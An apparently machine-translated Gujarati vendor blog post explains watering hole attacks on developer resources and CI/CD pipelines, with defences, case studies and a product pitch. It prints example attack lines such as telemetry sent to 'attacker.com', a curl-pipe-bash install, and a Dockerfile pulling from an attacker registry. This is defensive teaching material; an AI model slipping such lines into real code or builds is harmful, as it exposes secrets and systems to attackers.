પાછળનો દરવાજો બનાવનાર બાંધકામ
એક બિલ્ડ પસાર થાય છે. એક સેવા જમાવટ કરે છે. બધું સ્વચ્છ દેખાય છે. પણ અંદર છુપાયેલું છે એક ઝેરી પરાધીનતા જે એક ચેડા થયેલા સ્ત્રોતમાંથી ખેંચાય છે. તે એક ક્લાસિક વોટરિંગ હોલ એટેક છે.
આ પરિસ્થિતિમાં, હુમલાખોર તમારા ઇન્ફ્રાસ્ટ્રક્ચરમાં ઘૂસી શક્યો ન હતો. તેઓ ડેવલપર દ્વારા વિશ્વસનીય સંસાધન, દસ્તાવેજ સાઇટ, પેકેજ રેપો અથવા SDK ડાઉનલોડ પૃષ્ઠની મુલાકાત લેવાની રાહ જોતા હતા, જે તેઓએ પહેલાથી જ ચેડા કરી દીધા હતા. દૂષિત કોડ તમારામાં પ્રવેશી ગયો. pipeline સરળ પુલ અથવા ઇન્સ્ટોલ આદેશ સાથે.
એકવાર તે મોકલાઈ જાય, પછી હુમલાખોર ઉત્પાદનમાં શાંત પગપેસારો કરી લે છે. અને તમારા CI/CD pipeline ફક્ત તેમને ત્યાં પહોંચવામાં મદદ કરી.
વોટરિંગ હોલ એટેક શું છે (અને વિકાસકર્તાઓએ શા માટે કાળજી લેવી જોઈએ)
તો, વોટરિંગ હોલ એટેક શું છે? જ્યારે કોઈ હુમલાખોર એવા સંસાધન સાથે ચેડા કરે છે જેના પર ડેવલપર્સ અથવા ટીમો પહેલાથી જ વિશ્વાસ કરે છે. તમને સીધા નિશાન બનાવવાને બદલે, તેઓ એક સામાન્ય સાઇટ અથવા રેપોને દૂષિત કરે છે જેનો તમે ઉપયોગ કરી શકો છો, અને કોઈ તેના પર હુમલો કરે તેની રાહ જુએ છે.
વોટરિંગ હોલ હુમલા ફિશિંગથી અલગ છે, જે સામાન્ય રીતે ઓળખપત્રોને લક્ષ્ય બનાવે છે, અને અપસ્ટ્રીમ સપ્લાય ચેઇન હુમલાઓથી જે પેકેજના મુખ્ય રેપોમાં ખરાબ કોડ દાખલ કરે છે. અહીં, ખતરો તમારી આસપાસના ઇકોસિસ્ટમથી આવે છે: દસ્તાવેજો જે બેકડોર ઉમેરે છે, ટ્રોજન સાથે સ્વેપ કરાયેલ SDK બાઈનરીઓ, અથવા બદલાયેલા સંસ્કરણો સેવા આપતી પેકેજ રજિસ્ટ્રીઓ.
અને ડેવલપમેન્ટ રિસોર્સિસ મુખ્ય લક્ષ્યો છે: પેકેજ મેનેજર્સ (npm, pip, Maven), પબ્લિક GitHub રિપો, સત્તાવાર દેખાતી ડોકર છબીઓ અને ડાઉનલોડ પૃષ્ઠો. જો આમાંથી કોઈપણ સાથે ચેડા થયા હોય, તો હુમલાખોર પહેલાથી જ તમારા ડેવલપમેન્ટ ફ્લોમાં છે.
ફાંસો ક્યાં વાવાય છે: વાસ્તવિક વિકાસ-કેન્દ્રિત ઉદાહરણો પાણી ભરાવાના ખાડાના હુમલા
વોટરિંગ હોલના હુમલા ઘણા સ્વરૂપો લે છે. અહીં કેટલીક રીતો છે જે વિકાસકર્તાઓને પાછળ છોડી દે છે:
- ચેડા કરાયેલ દસ્તાવેજ સાઇટ:
'malicious-lib' માંથી { init } આયાત કરો;
init({ ટેલિમેટ્રી: 'https://attacker.com' });
દસ્તાવેજોમાં એક કાયદેસર ઉદાહરણ સૂક્ષ્મ રીતે બદલાયું છે. વિકાસકર્તાઓ કોપી, પેસ્ટ અને આગળ વધે છે.
- જાહેર પીઆરમાં દૂષિત પોસ્ટ-ઇન્સ્ટોલ સ્ક્રિપ્ટ:
મદદરૂપ પીઆર લાગે છે, પણ તે માલવેર શાંતિથી ઇન્સ્ટોલ કરે છે.
- ટ્રોજનાઇઝ્ડ SDK બાઇનરી:
./sdk-install.sh # છુપાયેલ બીજા તબક્કાનું લોડર ધરાવે છે
બાઈનરી વિશ્વસનીય દેખાતા URL પરથી ડાઉનલોડ કરવામાં આવે છે પરંતુ તેમાં ફેરફાર કરવામાં આવે છે. - ચાલાકીપૂર્વક બનાવેલ ડોકર બેઝ છબી:
નોડથી: સ્લિમ-મેલિશિયસ - રન બેશ /tmp/hidden-installer.sh
છબીનું નામ સાચું લાગે છે, પણ તે હાઇજેક કરેલી અથવા બનાવટી રજિસ્ટ્રી પર હોસ્ટ કરેલી છે.
આ બધા વોટરિંગ હોલ હુમલાઓ શોધ ટાળવા માટે ડેવલપરના વિશ્વાસ અને ઝડપી ગતિશીલ વર્કફ્લો પર આધાર રાખે છે.
લેપટોપથી Pipeline: ચેપ કેવી રીતે ફેલાય છે
વોટરિંગ હોલ એટેક ફક્ત બ્રાઉઝર સુધી જ અટકતો નથી. એકવાર દૂષિત કોડ સ્થાનિક વાતાવરણમાં પ્રવેશ કરે છે, તે તમારી સમગ્ર ડિલિવરી ચેઇનમાં શાંતિથી મુસાફરી કરી શકે છે:
- ડેવલપર ચેડા થયેલા સંસાધન (ડોક્સ, રેપો, SDK સાઇટ) ની મુલાકાત લે છે.
- દૂષિત કોડ સ્થાનિક વિકાસ વાતાવરણમાં આવે છે.
- ચેપગ્રસ્ત ફાઇલો અથવા નિર્ભરતાઓ a માં ઉમેરવામાં આવે છે commit અને ધક્કો માર્યો.
- CI/CD આ ચેડા થયેલા ઘટકોનો ઉપયોગ કરીને જોબ્સ બિલ્ડ અને ઇન્સ્ટોલ સ્ટેપ્સ ચલાવે છે.
- આ આર્ટિફેક્ટ મોકલવામાં આવે છે અને તૈનાત કરવામાં આવે છે, જેમાં હુમલાખોરનો કોડ ઉત્પાદનમાં એમ્બેડ કરવામાં આવે છે.
આ સાંકળ કલાકોમાં ખુલી શકે છે, ખાસ કરીને ઉચ્ચ-વેગવાળી ટીમોમાં.
આને કલ્પના કરવા માટે, કલ્પના કરો કે pipeline ચેપના માર્ગને ટ્રેક કરતો આકૃતિ:
- ડેવ વર્કસ્ટેશન: સંપાદકો, ટર્મિનલ્સ, સ્ક્રિપ્ટો ઇન્સ્ટોલ કરો.
- સ્ત્રોત નિયંત્રણ: Commits, PRs, મર્જ.
- CI Pipeline: ડિપેન્ડન્સી ઇન્સ્ટોલ, સ્ક્રિપ્ટ એક્ઝેક્યુશન, ઇમેજ બિલ્ડ.
- ઉત્પાદન: આર્ટિફેક્ટ રિલીઝ, ડિપ્લોય અને યુઝર એક્સેસ.
દરેક પગલા પર, યોગ્ય સુરક્ષા પગલાં વિના પાણીના ખાડાનો હુમલો કોઈના ધ્યાન બહાર રહી શકે છે.
વાસ્તવિક જોખમના દૃશ્યો CI/CD
વોટરિંગ હોલ હુમલા ફક્ત ડેવલપમેન્ટ મશીનો સુધી જ મર્યાદિત નથી. તેઓ તમારા pipeline તમારી સામે. વાસ્તવિક જોખમોમાં શામેલ છે:
- ચેડા કરાયેલી મૂળ છબીઓ:
થી હુમલાખોર-registry.io/python:3.10-slim
બિલ્ડ દરમિયાન છુપાયેલ માલવેર ઉમેરાયું. - અનપિન કરેલી સ્ક્રિપ્ટો અથવા ટૂલ્સ મેળવી રહ્યા છીએ:
કર્લ -એસ https://pkg.example.com/latest.sh | બેશ
"નવીનતમ" ગમે ત્યારે બદલાઈ શકે છે, ખાસ કરીને જો DNS હાઇજેક થઈ ગયું હોય. - ચેપગ્રસ્ત CI લોગ (ઉદાહરણ):
[+] સાધનો ઇન્સ્ટોલ કરી રહ્યા છીએ...
[+] https://tools.fakecdn.net/bootstrap.sh પરથી મેળવી રહ્યા છીએ
[+] બાંધકામ પૂર્ણ.
સપાટી પર બધું બરાબર દેખાય છે. પણ પેલોડ પહેલેથી જ આર્ટિફેક્ટમાં છે.
વોટરિંગ હોલ હુમલાઓ કેટલો વિશ્વાસ દુરુપયોગ કરે છે CI/CD પર્યાવરણ બાહ્ય સ્ત્રોતો અને સ્ક્રિપ્ટોમાં સ્થાન ધરાવે છે.
તોડવું પાણી ભરાવાના છિદ્રનો હુમલો સાંકળ: ડેવલપર-સાઇડ ડિફેન્સ
વોટરિંગ હોલ હુમલાઓને વહેલા રોકવા માટે, તમારે તમારા વિકાસ પ્રથાઓને કડક બનાવવાની જરૂર છે. કોડ તમારામાં દાખલ થાય તે પહેલાં હુમલા નિવારણ શરૂ થવું જોઈએ CI/CD pipeline:
- પિન ડિપેન્ડન્સીઝ: ફ્લોટિંગ ટૅગ્સ ટાળો જેમ કે તાજેતરની. નિર્ણાયક બિલ્ડ્સની ખાતરી કરવા માટે લોકફાઇલ્સનો ઉપયોગ કરો.
- ચેકસમ ચકાસો: બધી રિમોટ સ્ક્રિપ્ટો, બાઈનરીઓ અને પેકેજોને માન્ય કરો.
- ખાનગી અરીસાઓનો ઉપયોગ કરો: ચેડા થયેલા અપસ્ટ્રીમ સ્ત્રોતોના સંપર્કને રોકવા માટે મહત્વપૂર્ણ પેકેજ રજિસ્ટ્રીઝને પ્રતિબિંબિત કરો.
- મૂળ છબીઓ ચકાસો: છબી ડાયજેસ્ટનો ઉપયોગ કરો (@શા256) ટૅગ્સને બદલે. ઉપયોગ કરતા પહેલા બધી છબીઓ સ્કેન કરો.
- ચલાવો SCA/SAST પૂર્વ-મર્જ: ધમકીઓને વહેલા પકડવા માટે તમારા PR વર્કફ્લોમાં સ્વચાલિત સ્કેન કરો.
- ગિટનો ઉપયોગ કરો hooks: ઉચ્ચ-જોખમવાળા ફેરફારો વર્ઝન કંટ્રોલ પર આવે તે પહેલાં તેમને શોધો અને અવરોધિત કરો.
- સારવાર તૃતીય-પક્ષ કોડ જેમ કે અવિશ્વસનીય ઇનપુટ: વ્યાપકપણે ઉપયોગમાં લેવાતી લાઇબ્રેરીઓ પણ છુપાયેલા જોખમો વહન કરી શકે છે.
ડેવલપર વર્કફ્લોમાં સુરક્ષાનો સમાવેશ થવો જોઈએ. આ ટેવો અને નિયંત્રણો વોટરિંગ હોલના હુમલાઓને વધતા પહેલા તેને રોકવામાં મદદ કરે છે.
ફીલ્ડમાંથી પાઠ
કેસ ૧: ઇવેન્ટ-સ્ટ્રીમ (npm)
એક વિશ્વસનીય જાળવણીકારે એક લોકપ્રિય પેકેજનું નિયંત્રણ ટ્રાન્સફર કર્યું. નવા જાળવણીકારે એક એવી ડિપેન્ડન્સી ઉમેરી જે શાંતિથી ક્રિપ્ટો વોલેટ ડેટા ચોરી લેતી હતી.
- જ્યાં તે નિષ્ફળ ગયું: સંક્રમિત નિર્ભરતાઓની કોઈ સમીક્ષા નથી.
- પાઠ: ઓટોમેટેડ ઉપયોગ કરો SCA પરોક્ષ નિર્ભરતાઓમાં ફેરફારોને ટ્રેક કરવા અને ચિહ્નિત કરવા માટે.
કેસ 2: કોડકોવ બેશ અપલોડર
એક હુમલાખોરે ઘણા CI માં વપરાતી બેશ સ્ક્રિપ્ટમાં ફેરફાર કર્યો pipelines. તે CI વાતાવરણમાંથી રહસ્યો બહાર કાઢતું હતું.
- જ્યાં તે નિષ્ફળ ગયું: કોઈ ચેકસમ માન્યતા નથી.
- પાઠ: ડાઉનલોડ કરેલા ટૂલ્સ ચલાવતા પહેલા હંમેશા ચકાસો. CI/CD.
બંને હુમલા પાણીના ખાડા જેવા હતા. બંનેને પહેલા રોકી શકાયા હોત.
વ્યવહારમાં નિવારણ: DevSecOps માનસિકતા અને ટૂલિંગ
વોટરિંગ હોલ હુમલાઓને રોકવાનો અર્થ એ છે કે સુરક્ષા-જાગૃત વિકાસકર્તા સંસ્કૃતિનું નિર્માણ કરવું:
- સુરક્ષા ડાબી બાજુ ખસેડો: અનપેક્ષિત સ્ક્રિપ્ટો, નિર્ભરતા ફેરફારો અથવા ઇન્સ્ટોલ પગલાંઓ પર પ્રશ્ન કરવા માટે વિકાસકર્તાઓને તાલીમ આપો.
- સ્વયંચાલિત SCA/SAST: વાપરવુ સાધનો જે જાણીતી નબળાઈઓ અને જોખમી પેટર્નને રોકવા માટે PR વર્કફ્લોમાં એકીકૃત થાય છે.
- દરેક જગ્યાએ હેશ માન્યતાનો ઉપયોગ કરો: કોઈપણ બાહ્ય સંસાધનનો અમલ કરતા પહેલા ચકાસણી કરવી જોઈએ.
- રીઅલ ટાઇમમાં મોનિટર કરો: માત્ર નિવારણ પૂરતું નથી.
સાધનો જેવા ઝીગેની તમારી સમગ્ર સોફ્ટવેર સપ્લાય ચેઇનમાં રીઅલ-ટાઇમ દૃશ્યતા પ્રદાન કરે છે. ઝાયજેની ડેવલપર વાતાવરણ, ગિટ પ્રવૃત્તિ, સીઆઈ પર સતત નજર રાખે છે. pipelines, અને આર્ટિફેક્ટ રજિસ્ટ્રીઓ શોધવા માટે:
- અસામાન્ય નિર્ભરતા ફેરફારો.
- બિલ્ડ સ્ક્રિપ્ટોમાં શંકાસ્પદ ફેરફારો.
- તૃતીય-પક્ષ સ્રોતોની અસામાન્ય ઍક્સેસ પેટર્ન.
ઝાયજેની સાથે, ટીમો વોટરિંગ હોલ હુમલાઓ દ્વારા રજૂ કરાયેલા જોખમોને ફેલાવતા પહેલા જ અવરોધિત કરી શકે છે, અને જો કોઈ ચૂકી જાય તો સમાધાનના સ્ત્રોતને શોધી શકે છે. તે ખાસ કરીને આધુનિક માટે બનાવવામાં આવ્યું છે CI/CD વાતાવરણ, જેમાં કાર્યક્ષમ ચેતવણીઓ અને વિકાસકર્તા-પ્રથમ ઉપયોગીતા પર ધ્યાન કેન્દ્રિત કરવામાં આવશે.
અંતિમ નોંધ: ઝડપી Pipelines, ઝડપી જોખમો
હવે તમે જાણો છો પાણીના ખાડાનો હુમલો શું છે? તમે જાણો છો કે તેમને તમારા ઇન્ફ્રાસ્ટ્રક્ચરને સીધા તોડવાની જરૂર નથી. તેઓ એવા સાધનો અને સાઇટ્સને ઝેર આપીને સફળ થાય છે જેના પર ડેવલપર્સ પહેલાથી જ વિશ્વાસ કરે છે. ત્યાંથી, તમારા CI/CD pipeline હુમલાખોરની વિતરણ વ્યવસ્થા બની શકે છે.
વાસ્તવિક જોખમ ફક્ત સમાધાનનું નથી, તે એ છે કે દૂષિત કોડ તમારા દ્વારા કેટલી ઝડપથી ફરે છે pipeline.
તમારા વિકાસ પ્રવાહમાં સુરક્ષા તપાસને એકીકૃત કરો, પછીથી વિચાર્યા વિના નહીં. કારણ કે એકવાર તે મોકલાઈ જાય, પછી ખૂબ મોડું થઈ ગયું હોય છે.




